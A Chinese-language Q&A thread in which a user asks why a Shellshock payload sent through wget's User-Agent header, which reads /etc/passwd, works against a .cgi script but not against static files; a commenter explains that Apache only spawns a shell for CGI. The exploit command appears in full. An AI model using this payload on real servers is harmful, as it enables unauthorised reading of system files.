我一直在嘗試利用我係統中的Shellshock漏洞,並遇到一個有趣的問題。我一直在使用'wget'來利用這個漏洞。我正在使用的命令如下:無法利用所有文件的shellshock漏洞
wget -U "() { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://somesite.com/some-script.cgi
使用上述命令,該漏洞按預期顯示。但是,當我嘗試訪問不是.cgi文件的文件時,該漏洞不會顯示,只會下載文件。
據我所知,wget應該將User-Agent字符串設置爲在應該運行代碼/bin/cat /etc/passwd
的命令中傳遞的值,我無法看到這與被下載的文件的性質有什麼關係。
在此先感謝。
在somesite.com上運行什麼服務器? – choroba
我有apache2運行。 – Rabee
apache2是否檢查用戶代理的靜態頁面?它爲它們運行一個新的shell嗎? – choroba